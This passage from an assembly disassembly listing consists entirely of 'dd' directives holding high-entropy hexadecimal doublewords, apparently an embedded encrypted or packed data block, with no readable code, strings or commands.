71117EF5h dd 862ED705h, 0A17D5FEDh, 0AD8DAE49h, 0F740C75Fh, 0F7ADD0C5h dd 46440BF7h, 0E2C52DD6h, 0F346C4FDh, 0B033C1EDh, 0F4C14690h dd 49E663B6h, 0C5AD4934h, 46C4B5C2h, 0F7DFB6CCh, 0B6D765E8h dd 6F69E676h, 0A64F6E4Dh, 51E4F7DDh, 5BEDBCC9h, 5976293h dd 1F1941C0h, 0CA871C6Fh, 0A2B30E61h, 2D5D6E4Dh, 7966B1C4h dd 0BEDED04h, 224D2D51h, 0F7C6F14Bh, 9EE161ACh, 34C754EDh dd 6DEE85E4h, 0E478E736h, 0F9F1D804h, 5E4B8F7h, 81C53CF3h dd 0EBC7C8F6h, 0F790792Dh, 89BC634Ch, 6DE0E7DFh, 56FCE485h dd 0C7516BD7h, 0E7372DCDh, 0A5F500EDh, 255396ADh, 0DF736E95h dd 872FD76Eh, 5FEDEE46h, 0F1F0BD63h, 0F7ACAD90h, 0E7450027h dd 0B5F7B3F8h, 0EDEB04B4h, 835A0A6h, 0F3F8ABA2h, 9145A4E7h dd 0C7DFADA0h, 0F0C471A9h, 0A5C78777h, 0EDC94649h, 4522F707h dd 0EBEDDC46h, 0C47DA2E7h, 0E7B8EDDCh, 0E404752Bh, 6AE2AEADh dd 0A0C38775h, 1FB2847Eh, 0F3ED5B10h, 0C6E0B4C8h, 439E39EDh dd 0CC07D4B4h, 44ECBE2Dh, 2DAE2ED7h, 59A27C0Ah, 0E247826Eh dd 0D275EFB2h, 0C7DA46B6h, 0C907E34Ah, 31034C7Eh, 87FF46F4h dd 0C00FE7A7h, 7F7CC746h, 887965C7h, 825CAD84h, 0E904D710h dd 21B391FCh, 0F6ED8665h, 0C34FE7D7h, 932DA1AEh, 0C751E961h dd 927AF3C4h, 0D94645E5h, 0E402EA2Dh, 0DF337236h, 7CFED722h dd 0C12DB5F3h, 466967D2h, 0C7DBBCDBh, 0E984FB11h, 6DE2FAC4h dd 51E44645h, 0AB6DE7ECh, 0C138E185h, 0D275A6C2h, 0E7302D8Dh dd 94CC50DCh, 2DE2FAF4h, 6DAE5C65h, 7D6BD716h, 0C581DEC4h dd 1628C3E7h, 0B3E6ED36h, 0F6460827h, 7594256Dh, 0C0FEB1A9h dd 2807E73Ch, 0E16DCA71h, 488B37F7h, 0E7262D2Bh, 0C00470BEh dd 0ACA1C9C3h, 0BFFF8679h, 4D6B533Bh, 24B7F904h, 457DA2F7h dd 510297F4h, 0EB05C048h, 0A1F77FBBh, 97FAC688h, 4960F7DFh dd 0FB49FF06h, 0C4596BF7h, 0C72B38C3h, 852FC87Ch, 0A34D6Dh dd 77DEC5C8h, 17D7E7C1h, 0F2ADD1C5h, 0C5FC00E7h, 0E730ADD1h dd 0D1C5C400h, 0E771ADh, 77DEC5F0h, 0D5C8E781h, 93EDA422h dd 5C65275Dh, 61EEADB5h, 0F8C7D3C1h, 291FBE6Dh, 0F4A64361h dd 4F8D7DDh, 5D2DEF46h, 6F6432C7h, 0D7DC70A3h, 0C646C200h dd 351266EDh, 0F94CE148h, 30A0C768h, 7E6DCD07h, 5155ED0Dh dd 1FBE72AAh, 627155A2h, 0A1E71F2Dh, 6D96C159h, 90A0A3E6h dd 50B7AD9Eh, 46C8B7E7h, 0D7DF2DF4h, 8E436D21h, 3AF7542Dh dd 361FCFF4h, 0CA14338h, 0EA5AEA07h, 28A59CD7h, 92EEED94h dd 0F3C665E6h, 3C91C27Ch, 0CCA844Ah, 65A2D786h, 0A02DCD85h dd 6BB37E7h, 0E7662DCDh, 0BEE260B5h, 7F0DD8B7h, 0ED3C6DD0h dd 1817227Eh, 7FF112ACh, 8879A5C7h, 0C75BED91h, 0CFC41B6Ch dd 0F7E79DF3h, 2D466CEDh, 91E4C730h, 3D6D4FCDh, 8D4631ADh dd 0B3B36D7Ch, 0C0C83Ah, 48C7EFD0h, 0C4B7F718h, 9C5B53EBh dd 98BDB0E1h, 5EABE41h, 61A12DC8h, 8AA26036h, 0ACF7263Bh dd 6DEEC661h, 0C0B6C795h, 2C6DE2C7h, 0E341A59Fh, 0D78C2D8Ch dd 0CD84687Bh, 36E73B2Dh, 2DAAD96Ch, 496BA90Fh, 462DDC87h dd 0C77168E2h, 0C7B82DFEh, 0D2C7EFFEh, 60C7DF7Ch, 548E0155h dd 65E1D707h, 35EDEE85h, 475A4E7h, 0B1C3EDF7h, 0D9C65837h dd 39E73EB0h, 0EDA25540h, 79A8E71Fh, 77C92ACh, 4645A9C7h dd 0E79C2DFBh, 0C944C4F7h, 347D59EDh, 2DC3448Ch, 5DE47D5Bh dd 2EDEE587h, 464485C7h, 0C7DFFFEFh, 8D015565h, 36E7A42Dh dd 2DC8C770h, 59A2B90Fh, 0DF04D4C5h, 2245E7F7h, 0E7DF6DE3h dd 9CCDBFD1h, 7D73676Dh, 0ADFEC4E4h, 6920B144h, 2364EBC6h dd 466569B3h, 958C64F8h, 0ECC577B7h, 60E71F74h, 0ADF08469h dd 752FD707h, 0CCC4FF45h, 0E26C03D7h, 0ABD434A5h, 0E80645A9h dd 8DC7A31Ch, 8FE50564h, 7CCFD789h, 872D8A01h, 464B0DF7h dd 0F7DF2DE8h, 844C59E2h, 0A2BD9F24h, 0F0FB8645h, 50409308h dd 15BFFB84h, 43556DD7h, 0F770FA46h, 0F6454DA2h, 68D729ADh dd 9FC2C469h, 4803D72Bh, 25DF9D4Eh, 4649E1D7h, 0B36DEDE3h dd 0EEC561A2h, 0EB9391ADh, 0F4EB8449h, 79A40CA9h, 9AED354Ch dd 0D45A54Fh, 0A1662D15h, 0D887796Eh, 34E775ADh, 6DDEC5DCh dd 752B639Fh, 0D537D485h, 86403DC7h, 21F63EF0h, 89E8556Bh dd 325AD82Dh, 2DFD4684h, 0EBF7E712h, 96DA063h, 0C6CF78F7h dd 8044BEC5h, 4041FC4Ch, 9DC7E137h, 0ADF8043Fh, 41656060h dd 0AB747ABDh, 633054D7h, 0F705ADACh, 0E6C569EBh, 0A5F7956Dh dd 0FCCA8461h, 75AAD7D7h, 0D9B66921h, 47DA2E7h, 0B0B733F8h dd 0CD4665A1h, 0A4E74A2Dh, 0ED6D3441h, 7752D72Bh, 20EDF404h dd 4865E2BBh, 0F71AD480h, 0A474FC9Dh, 613F3B34h, 2DED0549h dd 496FC779h, 0F02DBDE0h, 0AD401FA3h, 2C3DADADh, 2400B0F9h dd 4F7E66Dh, 0F4CE067Ch, 412AC707h, 0E1768B6Bh, 5A5032F7h dd 24D9F0BFh, 0EC8449E5h, 0A5E7552Dh, 729CA379h, 416EE79Dh dd 2DC6DF47h, 0B6D6EC7h, 0D035C15Ch, 0AD61B726h, 0E6C7E0ADh dd 0F1D78584h, 0A4E6C7E2h, 0EC36F645h, 0EF5D6DA1h, 0DA21F969h dd 9DAE8064h, 22E7376Dh, 0B7B30949h, 656EA1A4h, 23EDCF46h dd 7712483h, 207C7CDDh, 9AA47D65h, 0E7E7392Dh, 0ADE6C751h dd 0FC1CF7ECh, 7CFFBA8Dh, 0C541AF31h, 0C75A09D9h, 0BC837D2Dh dd 0B5D714F2h, 81E285A8h, 0BC35D7FBh, 0E8AD9D15h, 0E85566E0h dd 0D71FEDA9h, 0D8C741E5h, 0B2F7E6ADh, 3464D4D4h, 0B6F1D781h dd 7EDB461h, 8461E5E7h, 5814EDE0h, 8DC05965h, 6B237134h dd 0C7B87049h, 41ABE0DBh, 0E334828Eh, 0C46D63C7h, 0E7C96DE8h dd 0BC9E716Ah, 2EF786ADh, 2DC24775h, 71EA91EDh, 9030F647h dd 964565C0h, 0A0EA6DAEh, 0D0C53FC3h, 0BBD7A0ADh, 0AD95E2E0h dd 7D27F7DAh, 0EE7366EBh, 877D6B72h, 816D3FFCh, 0FD0471E4h dd 0F4A267EDh, 6DE5C70Bh, 7921AFA3h, 0E2AD5CB1h, 0F145259Eh dd 0BA26AD2Dh, 7AB179ACh, 0E4AEE2ADh, 0ADF70471h, 45E2D707h dd 8531C3C5h, 0EB7D2BC7h, 0D7E2394Bh, 9616309Eh, 0ECD7DF2Dh dd 0A0796A51h, 6D2AAEFCh, 0FB98CE06h, 0C7D31BF7h, 525CEDC5h dd 0D1C5A42Ah, 39536F2Dh, 6DA0D2F0h, 943AACC4h, 0B3ED7491h dd 0C795F3B4h, 0AEBE38D1h, 0C5306926h, 0AEE78AA0h, 88889259h dd 273DC7ADh, 1AFFEF87h, 464D6EE0h, 0D732FFCFh, 4CB20B3Ch dd 0A5D78F2Dh, 0ED766E41h, 95F3B4B3h, 3F2DF9C4h, 0A49ABBAh dd 0A83DA0BEh, 884F69A7h, 0C7F75788h, 0ADF5C7B3h, 7039F792h dd 0D6EDCD07h, 76D6BA3h dd 7C6948FAh, 0E4846D6Bh, 0A2F760CBh, 0A0FE8441h, 5922A83Dh dd 46888881h, 70A5C7F7h, 0D7DC6DD8h, 1650492Bh, 0ED6EEAADh dd 0B3A01E59h, 4DEAE7DFh, 2ADBE4Dh, 86708582h, 0B04D78F1h dd 0D146834Dh, 4BF7642Dh, 0A0BFAEF3h, 5927AA7Dh, 0E9888893h dd 70A5C7F7h, 0C7E06DD8h, 305049AAh, 2E7CADEDh, 0F8F20565h dd 596460B4h, 632D8D8Bh, 732CB4D7h, 0F79F0382h, 701F7D2Ch dd 0F3B4B3EDh, 0BFCA4495h, 5168BEBEh, 3DA0BED6h, 4649A9A8h dd 0F74A98CEh, 0D5079317h, 81B3EAADh, 2DC9C684h, 6D6E436Fh dd 9FC25BD9h, 1F7DA1C7h, 217CED72h, 6EED6969h, 2BC45CF0h dd 2DFF0514h, 51228A3Fh, 0DEA25479h, 5649A0EEh, 0F73D8888h dd 0A9E30029h, 11E7D28Eh, 0B6E986C4h, 5450D7D0h, 0F66DB9E8h dd 0E855AC21h, 21F66DB5h, 0F9C67D2Dh, 2AD7A5B6h, 0F4C58484h dd 6521B08Dh, 91ADB3EDh, 0FA83BCF7h, 11F6D29h, 0E50793D8h dd 0FFE713ADh, 0F7E50430h, 0BB8FE76Eh, 9276CCC6h, 7F49A510h dd 21CE3279h, 0CF84ECC5h, 59B081B8h, 2D8D3B2Fh, 2CD8C720h dd 0F142BC73h, 0C6696DD7h, 0F76777F7h, 0EA847CB0h, 0ED1E1C2Dh dd 2DD9C451h, 7561412Fh, 0BA2D8C41h, 6E41A5F7h, 117CED7Dh dd 0CD7851E9h, 20E78A21h, 98CE865Dh, 6034D78Eh, 0F694ECE0h dd 80612AF7h, 83226D37h, 0DCC6979Fh, 72F7D4B4h, 6D9900C4h dd 752A21C4h, 0C8BEBF4Ah, 47D472F7h, 0F7CFB4DCh, 0E647F472h dd 6D7253Ah, 32A88138h, 0E45AF7CAh, 4240F086h, 0BF61AFA9h dd 0E78A4482h, 824865E3h, 0E0A1CCF4h, 74175A5Dh, 64F5D769h dd 0CCF4A903h, 867122B1h, 0AF42C4E1h, 0C2C46CB8h, 7381E07Ch dd 2D6AA1CFh, 0DCBFF287h, 9F4CD9C6h, 0C141A7C7h, 0F765F49Dh dd 0F970A170h, 44D2C56Dh, 0E7AC02B6h, 4DA569A1h, 0ADD39393h dd 4765AD7Dh, 0A16439D7h, 0FE067165h, 0BBC7BF78h, 0B3732D6Fh dd 68B6D0A2h, 26E7E2C5h, 5249AC65h, 45AD9397h, 0F107D105h dd 4DD79E2Dh, 6D586DA1h, 7044E7C3h, 5E2DBDFCh, 57441F7h dd 7D87CCF4h, 0E606496Bh, 0A5AD68EDh, 0ADCA0471h, 0F671B5B5h dd 0B12DD406h, 275A69Bh, 0E786F995h, 0B1C141E3h, 75F7F237h dd 7CA02078h, 65E563F3h, 846DECC4h, 8E7923E7h, 83A7AD55h dd 0E006C4B5h, 0A3615F78h, 6D60E141h, 556B6DD2h, 84C4C147h dd 0A1CF89F7h, 0F2DD6D4Eh, 0F907712Dh, 0A5E79F07h, 0F49D8179h dd 41A2F7A4h, 0B7A4E444h, 64DA6A9h, 0E7159CF4h, 5DAE6C54h dd 0A26F10ADh, 7CA0C141h, 0F0F1A3A8h, 1BEDDD07h, 0C4E708C7h dd 3DF1B4E8h, 0ECC7F472h, 6DE7B66Dh, 0ADD9C7F0h, 7DE32DA4h dd 63C65C42h, 894526BDh, 90638675h, 0A2214473h, 55524EDh dd 7BFCC7F5h, 65A0BF31h, 14E76F76h, 80284168h, 3D89ED5Fh dd 0E4C7452Eh, 0E661C238h, 2D8D094Dh, 6FBBC71Ch, 552D4CEAh dd 21447DE7h, 5524EDADh, 0EB04F505h, 2A8F31BAh, 0E7ACDD61h dd 280ABA3Dh, 0E72D4680h, 4452EFCh, 61C2BBCAh, 0B01D69E7h dd 64BFA1F0h, 0ADCE4683h, 71653FDFh, 0A7ADFB04h, 44F6C475h dd 9F317CDEh, 0EBF545AFh, 25E78AE7h, 8CB6CC45h, 9365E7C6h dd 0ECADCD87h, 85E47E22h, 401E3BCDh, 55A16DE8h, 0A1B16381h dd 2DCDC545h, 9365E7AFh, 9FEDED84h, 4A45E4E7h, 0D7B8ED6Fh dd 0F4ED4121h, 0C1C7F0D7h, 0AD618028h, 0D105C4E7h, 31BEBB38h dd 87136CBFh, 93F1ADFDh, 886114DBh, 0F4F75DF4h, 2D4EB66Bh dd 0C876E703h, 26E7E2C5h, 5A7DA165h, 0C7D98CB6h, 0F4ED008Eh dd 0CD7DED7h, 2D708028h, 452CBC60h, 0CBFBFDC4h, 0CCC0EAA1h dd 9FA16D9Eh, 0E14683B7h, 256FA5ADh, 0E7EAED79h, 288AD7E8h dd 606D7C80h, 7D10584h, 43022DF9h, 5D11A2DDh, 7E223AEDh dd 7BEF46E4h, 45E2F7DFh, 7AF4B182h, 46516BBCh, 0D7A6CEC6h dd 0C1EDD985h, 0F0520FEDh, 0E0F3C46Fh, 552E7566h, 31BAF1C6h dd 1161A79Fh, 0BD15ED4Dh, 0EF86652Eh, 26D7DF7Fh, 709341h dd 5FD71106h, 26E7E2C5h, 8245A465h, 0F71F8CB6h, 0F4ED40B6h dd 6BC7CAD7h, 2D358061h, 452C7C23h, 8AC4E685h, 1959E9E7h dd 0F7A62D8Dh, 4C7D177Ch, 0D7D72A2Dh, 0ADD0C563h, 0E145F733h dd 0DF6D09ADh, 8776F0F7h, 5566E3FEh, 0B6568075h, 44D7BB8Ch dd 0ADEDC793h, 45623D81h, 0BBAD90ACh, 7E43CE7h, 63B72DCCh dd 0F7C649ADh, 744C05C4h, 0C3FE85E3h, 6D2BE7B4h, 84FC9020h dd 2149E9E7h, 0D263EDBBh, 0B9E171E6h, 4EC785F4h, 0EDCA0437h dd 516D93B5h, 4AEDE9C4h, 45CBC4E7h, 0E7072DE3h, 0F4C575EDh dd 0E1F7DFFFh, 0BCA45F75h, 45667492h, 0F8EDE104h, 8071A5D7h dd 6E49EDADh, 91BE7125h, 20C7322Dh, 6DEC4475h, 6436C7A6h dd 97ADFEC5h, 0A945E9C7h, 91E26382h, 0B18C45EFh, 744CFFF4h dd 0BFFD87F3h, 596B9138h, 86ADF0C6h, 457523E7h, 0E7856DF1h dd 73AD652Bh, 22F707B5h, 6DE60475h, 49A5E71Ah, 6A6DBB21h dd 445A2BDh, 0C7302DCDh, 0E5071C3Dh, 2A126AF5h, 0B49CF859h dd 0C4B4E7FFh, 0F1FCEC44h, 0B4756DF7h, 0E7EEC6A0h, 0A1017DECh dd 0EDD7E62Dh, 0ADCD0451h, 596641B2h, 0EDADD606h, 4492DF7h dd 0A154EDC1h, 0D2C6616Bh, 60708AF8h, 0EDFF0471h, 49E7A1B5h dd 0DF2DEAC7h, 0DB7963D7h, 2C46AD51h, 50DBB8E9h, 0BDF766ADh dd 0F8F344C4h, 69A9C7E5h, 31ED7058h, 0A1D7CAD2h, 43A1ADB3h dd 0E884E4B9h, 0E4E7356Dh, 2DD24645h, 6DA0430Eh, 0EC322258h dd 4645E0E7h, 0E7062DE5h, 0F5C6F8F7h, 6B7D9C72h, 0FCDB0769h dd 9790D7FFh, 29928798h, 7845AAC7h, 0F7FFAD90h, 0F8873253h dd 64E77F3Ah, 0ADDA4645h, 0A7D2C7C4h, 54EDDE85h, 0C551A2E7h dd 0E7F96DECh, 0ADA141E4h, 0A5A1A3EDh, 0EDD5C741h, 79E5C71Fh dd 7BAB920h, 8479EAE7h, 8117BAFAh, 8A434569h, 226090F4h dd 0ADEDC741h, 696DD7E4h, 95EDC1C7h, 8445ED2Ch, 0E7B684E7h dd 0E4C74163h, 632075EDh, 0ADDAC769h, 0F000F7E7h, 0FE2DCDC5h dd 17569F7h, 0A1EF8CA5h, 0EDC57163h, 6BA3C72Dh, 0BCE7C55Dh dd 556B2408h, 9486FD87h, 55CB210h, 14DE7FCAh, 0EDC53B98h dd 0A2A168FCh, 72F5C741h, 0A89512F8h, 732DE0C7h, 0C555E981h dd 0D7B0EDE5h, 0DF46556Dh, 6D912FE2h, 0EDEDC461h, 696342B0h dd 0B8ADFFC5h, 444DA5E7h, 0D71FEDE8h, 67ED7525h, 6BD76634h dd 0EDDEC57Dh, 69A2F755h, 26ADCFC5h, 0C74960C7h, 0BDB56DE3h dd 6C4079E0h, 0EC7806Dh, 2D9968D3h, 60725178h, 7048020h dd 4645A9C7h, 0AB3BEDF9h, 0CC07DC7Ah, 0E1F77FBCh, 0ADDBC751h dd 0F084E7EDh, 2304C007h, 0C6C0FF41h, 0C7702DE6h, 0C5C47CBEh dd 0E4028CEDh, 0EDE2C749h, 7521D786h, 502DCDC5h, 6383DC7h dd 0E7232DFDh, 0BB6D5DE9h, 0E0D715ADh, 0ADFBC751h, 40B29141h dd 47F8E8C5h, 4BCDD0Ch, 0A1DB72F4h, 0AB4D496Ch, 87E7A73Bh dd 6DE846C4h, 456B532Fh, 176DEE85h, 8750BAD7h, 0D7A197EBh dd 0E805792Ah, 47E7346Dh, 0BFF484C2h, 756093ACh, 0F16DAE2Dh dd 219088E7h, 0D71FADB3h, 0D4C74965h, 0A2E72BEDh, 0EDED4575h dd 61ED50DBh, 2BEDE1C6h, 47169C7h, 73012DD4h, 0A9E85965h dd 29C7DF77h, 0ADBBD545h, 0C88BF755h, 0C8ADB443h, 468489BDh dd 0E731EDDCh, 0DA04FFC1h, 4F731EDh, 2DBA21DCh, 6DEBD795h dd 85B79BE5h, 5496571h, 7186ADE8h, 8C387965h, 0A1915174h dd 0EDF34649h, 45E6E71Ah, 402DFC46h, 0EEF40EBDh, 3054ADBCh dd 0B0624920h, 0BA53C8EDh, 0ADF70648h, 45669125h, 15ADD706h dd 8D7D60D7h, 99C7FAB7h dd 0E3C7504Dh, 0E0E7E7ADh, 0EDE3C679h, 69A5D7C9h, 0C7B4CEC4h dd 0C0692DF7h, 0E7ECADA1h, 0C3C769A4h, 0FB8DC96Dh, 0EDF5C7FCh dd 783C9375h, 2277D8C6h, 0ED0BA1Dh, 0C771FCAEh, 0A34B6DEDh dd 0E9F72BB6h, 0ADAD8179h, 5D61A123h, 87F498A1h, 617565E7h dd 1D64B27Eh, 6C2365AEh, 54E7646Dh, 6DA2A148h, 0C3F1C7E6h dd 1A2DAA3Eh, 0C749E4E7h, 41CCEDE3h, 0EE07C40Ah, 0E1C7FAEDh dd 2DAB6049h, 5CFEC7CEh, 44F6ADF8h, 5EB17C7h, 0E7872DF7h dd 0A56161E0h, 25214677h, 76A3C87Dh, 44F1C7E3h, 67633C3h dd 2FD39C15h, 0E71D74B6h, 51E0412Dh, 0A50DAF2Dh, 0E22D6959h dd 4DA04DDAh, 38F4E644h, 3B71E4E7h, 0D781ED8Dh, 66AFC852h dd 0B4C7C47Ah, 0ED5D8A0Ch, 0E98F23DDh, 0D3FFFF84h, 8A55A203h dd 0D7293412h, 0B4AE4D68h, 0E66F88ADh, 0AD9B2371h, 5522B1ADh dd 0ADF4D306h, 549E5E0h, 0C7F871F3h, 0C6C769E4h, 0A9816AF1h dd 2DCDC469h, 8A4E7CBh, 792DFD05h, 4649ABC7h, 0E786EDE9h dd 0C08759A5h, 6E71423Fh, 0ADBA9575h, 67DADEA4h, 0A5678399h dd 0E1B165F4h, 0F8E0AD9Fh, 6A0F4926h, 0EBF7952Dh, 2DA4E56Dh dd 0F0B4E707h, 6277E884h, 0C66D6DD7h, 0E7F56DEEh, 0E5C679E4h dd 179D876Dh, 2DA44E67h, 75604F9Ch, 54718C95h, 0E369A1D7h dd 7158C190h, 0EE8449A9h, 4AC7E5A1h, 7C514FFFh, 516BE7DBh dd 884DE04h, 84D45BA1h, 0E72BBCDEh, 0F60469EAh, 0F5A1EFEDh dd 36FFC5A0h, 45A0D7E7h, 0ED6DD846h, 0A865A11Dh, 0C707EDB4h dd 0A12FB42Bh, 0FCD0357Eh, 0C2E844F0h, 7120B14Dh, 2A3C924Fh dd 8C6072D7h, 0C785EDA2h, 5B62F055h, 0F4618AB7h, 6DAAA3ABh dd 696033A0h, 4CADC3C7h, 2E9C7741h, 818FF08Fh, 0A021D002h dd 0F8C7976Dh, 0B79B61FCh, 4925E7F5h, 832DE445h, 23656EF7h dd 0C79B2D52h, 49119DB6h, 31B4B433h, 368DAD8Ch, 64F5D7DDh dd 29EDA14Dh, 1665AAC7h, 8033F6BCh, 7CD0F803h, 0BE80F66Dh dd 0EDC18474h, 8EBC7E6h, 1F2A6EFh, 496620h, 0E758AD8Ch dd 0D2C5EBFEh, 0E9916AADh, 0EDD6C741h, 447F1DF8h, 0B4B69461h dd 4F018E7h, 138CEDF1h, 751FAC58h, 0E9E7BFEDh, 7C7A2365h dd 0B0D5C725h, 38EDB5F1h, 449EA11h, 0C7B8BEDEh, 8BE1416Fh dd 1A1DFF74h, 0AD8061D0h, 7D68B108h, 7ADBCFDh, 2061EAC7h dd 9DD82D8Dh, 8DAD75E9h, 0B620FA2Dh, 6DA06B7Ch, 9869D758h dd 0D6DE1C5h, 0C3EFF1C7h, 0D78BFCA6h, 0DD055D25h, 6960D22Dh dd 2DEB0549h, 0DC70E739h, 0B86DED44h, 0C169A79Fh, 0F754EDA6h dd 0A8E2FC8Ah, 0E8BF3B2Dh, 0DBB7F471h, 6DE2D716h, 65B7BE30h dd 796AE1h, 586C3186h, 9DEF79E2h, 0BAE7D8B4h, 0EDE606C7h dd 0E032C75Ah, 0EC7436F2h, 816522D7h, 0D7DAAD80h, 0AEEF60F3h dd 28D7E4ADh, 709D611Ch, 585BD750h, 866DA883h, 6F8BFAE7h dd 0E731ADB5h, 91AE796Bh, 65E737FCh, 0ADB49659h, 0F00C81ABh dd 0B33ECE07h, 99907BD7h, 0D7253C83h, 0FBC4E8BEh, 8CE720C0h dd 0EDE04608h, 0EFFEE7A4h, 55AD90E8h, 46840650h, 0C0AC2DC8h dd 8CD9E016h, 0FEE71AADh, 0B33993C3h, 496DF7D9h, 3976F304h dd 7FD834C7h, 0D7D52D8Ch, 5B337C72h, 6303AAB7h, 0B48EE14Dh dd 696FE70Ah, 773B0C0h, 4549E9F7h, 0D70AF1CDh, 9DE1AA32h dd 25E7B6BBh, 0F4F08461h, 4960D739h, 771EDC7h, 0FE592AC7h dd 40C8F11Bh, 0CC464569h, 5F7CCDEDh, 0BCCC0694h, 49E191F4h dd 0A6F18DB0h, 0F0BE8D41h, 0F7D9EDCEh, 0AB7EE890h, 0BBC7B173h dd 0ADDEC560h, 45605185h, 0D96DA0E9h, 75C4FDACh, 0C712ED8Eh dd 0CCC6800Dh, 6B500DBCh, 50FC0545h, 9C11E707h, 171A1BCh dd 1349E8A0h, 10EB4680h, 9EF4696Dh, 6BE71077h, 0BCCCC66Dh dd 69E51A32h, 0FBF7FF06h, 4041ECA1h, 41B2F4B7h, 0A963EC1Eh dd 0AC2B01Eh, 8092D6CCh, 0A8F9C705h, 0A6EDB0A3h, 0C551A2BEh dd 7303ADF3h, 0B16A84FCh, 2083BF6Dh, 0B8824FF0h, 696BA039h dd 88ADEBC5h, 366D277Fh, 0E06AEDA1h, 0A57571EEh, 99F7E6E6h dd 6DFD4733h, 68C03F2Ch, 0AFF6896Dh, 0E692171h, 0D7792D95h dd 81617DE8h, 6B149947h, 62DB066Dh, 4C9EC7D5h, 0EC22F7FAh dd 7AA958D7h, 0B3206D36h, 0E13AB11Bh, 0B693A5C6h, 0E4ED0570h dd 79A389E1h, 2CE4FAA1h, 447D6EABh, 233BADDAh, 0FE47796Fh dd 37035A3Ch, 0B4B0F3F0h, 7CB0C713h, 6D94FF05h, 367CB7E7h dd 43D3F44Dh, 0D9C741E3h, 0A2600DC4h, 0C4F74449h, 0DEB4D7E0h dd 0DF3CE486h, 0C77163E7h, 0F7F5F4ECh, 0D9C6FCB5h, 423D0DADh dd 0BCD00624h, 0C07552D7h, 11AD90ABh, 0CDBCEBCCh, 0C7DFEDB5h dd 0BC4255EDh, 0E9D72BADh, 0EDEE0475h, 5D60E787h, 99ADBDE8h dd 0C55560A1h, 0F70586F4h, 0DA065521h, 0F991592Dh, 3CD884D8h dd 0D0066185h, 0C8D3E205h, 4E5521E7h, 0E7762D95h, 4233F0B7h dd 6BE7EBC4h, 0C7D78445h, 45AA114Ah, 23ADFA86h, 0ACEC34D7h dd 25D6ADBEh, 6580F798h, 3073AB6Dh, 44DB4568h, 4BB93D64h dd 0D66DED47h, 8453F4BBh, 0B363FFDCh, 41A15D28h, 8E632AB7h dd 3498E0F4h, 0F456B3EFh, 33BCCEC4h, 46796BD7h, 90CD3EDAh dd 0DAC5496Bh, 6BE7682Dh, 7FE70645h, 75A980AFh, 9CEDDEC5h dd 84583AD0h, 0F71FEDF1h, 0D6C749A4h, 0A260E5EDh, 0ADA63345h dd 0FC74E71Bh, 8A37FF84h, 0EE69E95Fh, 0F7E3ADBAh, 0EE467DA2h dd 6BE7186Dh, 3FF34551h, 0C458D786h, 50EDC046h, 45656B63h dd 73DF3FF3h, 0B18E7D64h, 0E0D715B1h, 7A874D45h, 4928A370h dd 0A28CFEC4h, 0C0F706D7h, 8110CC82h, 9AA177C6h, 7403A16Dh dd 0F6E64668h, 6D6693ADh, 0F8EDA121h, 434964C7h, 0B12E7F87h dd 63F8C7Bh, 0BAC7B3BEh, 2DCF04B0h, 49E9D0D5h, 2D34642Ah dd 62E4C151h, 0B8D4ED5Ch, 0CCC66969h, 63FC5774h, 0FFDF0575h dd 48B1D7D3h, 23C6CB44h, 4A82B80h, 0F766B4E3h, 4821756Dh dd 0DE72701h, 0ADF9C790h, 716B610Dh, 32BEDC84h, 844160D7h dd 4CBE8EFFh, 9DE044CEh, 0E729A1EDh, 778D587Dh, 7D6D53C8h dd 0E3EDDCC5h, 4571A2E7h, 0D22D2DDAh, 9BCE61A9h, 6633A137h dd 0AD97EA49h, 0C747D7DFh, 0FE6DA9E0h, 0C4E43482h, 916291F1h dd 0FE067D6Bh, 0A0D7B186h, 78877459h, 596AE7BAh, 0DF2D8D95h dd 804961C7h, 9131ED4Ch, 0AEEAB406h, 6F7E76Dh, 0EDEF04ACh dd 0AC0CE7ABh, 8EEDE004h, 6C4FA81h, 0D71506EFh, 0E0C6E319h dd 282D10F9h, 76D9845Dh, 7D20D7DBh, 3E81FBB4h, 0F571AFE2h dd 0DC7BED0Dh, 0F707C4B7h, 65F707F1h, 0F1FC0549h, 6565D7B8h dd 0A46D7F57h, 57485AF2h, 0C2A4AD98h, 0E7860CEEh, 0C22D1FF8h dd 6DA6A4FFh, 0E4F5E7FAh, 0A6ADD1C5h, 0D773D1C7h, 31F0388Ch dd 0A9216DEDh, 612D37EDh, 2DC40471h, 496639F3h, 0A2AD91B9h dd 745A0C7h, 0F73086EEh, 0AEF24967h, 0F1D7BA6Dh, 0EDDE86A4h dd 377BF04Fh, 0F32D8988h, 84100921h, 0E0118EFFh, 69B593FBh dd 2AD7DF3Eh, 20DE056Dh, 9C85E7D3h, 0F7C7D784h, 0C441AA81h dd 131DFBEAh, 209D7D26h, 46C7456Dh, 2DBAE044h, 1447E218h dd 826DA676h, 0C6AB07D7h, 0DA1BFBD1h, 0BE1D5969h, 1272352Dh dd 0D8EB07C3h, 0D4716271h, 0FA39D247h, 865DE511h, 0C71D2DE4h dd 0EC8469E5h, 92C7B26Dh, 0ADDC05D0h, 7012AF9Eh, 0BCADB661h dd 5756B2Ch, 819A8ECFh, 0ABB6F4C7h, 6B61EA2Dh, 6DC3056Dh dd 0E4F9031Dh, 0C780F184h, 68CC7631h, 0F7BDBC22h, 89ECABF1h dd 3581AC7Bh, 0F4E0C578h, 41ADC720h, 0DAB379DEh, 0CC75A111h dd 33016D96h, 0C284596Dh dd 74E78333h, 7AABEB87h, 4969E707h, 952DEE45h, 0C56D6AF7h dd 527BF0E4h, 0C8C449E2h, 0EBF795B0h, 0F2F7C56Dh, 49E55C40h dd 0DF74CCC6h, 13716EC7h, 4C452D35h, 0F6450873h, 6AC7952Dh dd 0B0C8C56Dh, 5969C72Fh, 8C6D8950h, 6D7C46C7h, 928BEDA4h dd 9D394122h, 7F71F2Dh, 6DACEAC8h, 0DBCBE725h, 0D8ADD086h dd 54D6BD7h, 0E75C2DE4h, 8C6DBCF8h, 0B28155EDh, 0ADCB4606h dd 0E8077E5Fh, 0CA7EB6B9h, 44AC7803h, 91E3EDD9h, 0C585F475h dd 0CB742472h, 0F3F6865Ch, 275E31F3h, 2B2DBCB4h, 77C85CD7h dd 0C770ED85h, 6B17656Eh, 0E9E7A7FCh, 0F4CA06ABh, 4DE511F0h dd 55EDE686h, 852440D7h, 0F79FADD0h, 0C7A80CC0h, 1322849Eh dd 0FEDE45CAh, 45E9F770h, 0D930D506h, 0F81884D7h, 0A37EBCA1h dd 0CE4645A4h, 7593DE2Dh, 0B6BCB160h, 69EAA131h, 6DADC3C7h dd 0C45DED91h, 0C714B6C1h, 0EFC665A5h, 0FFC735EDh, 0EDC206ECh dd 304E7329h, 0FE6DE884h, 8745A7E7h, 0E7DE6DE4h, 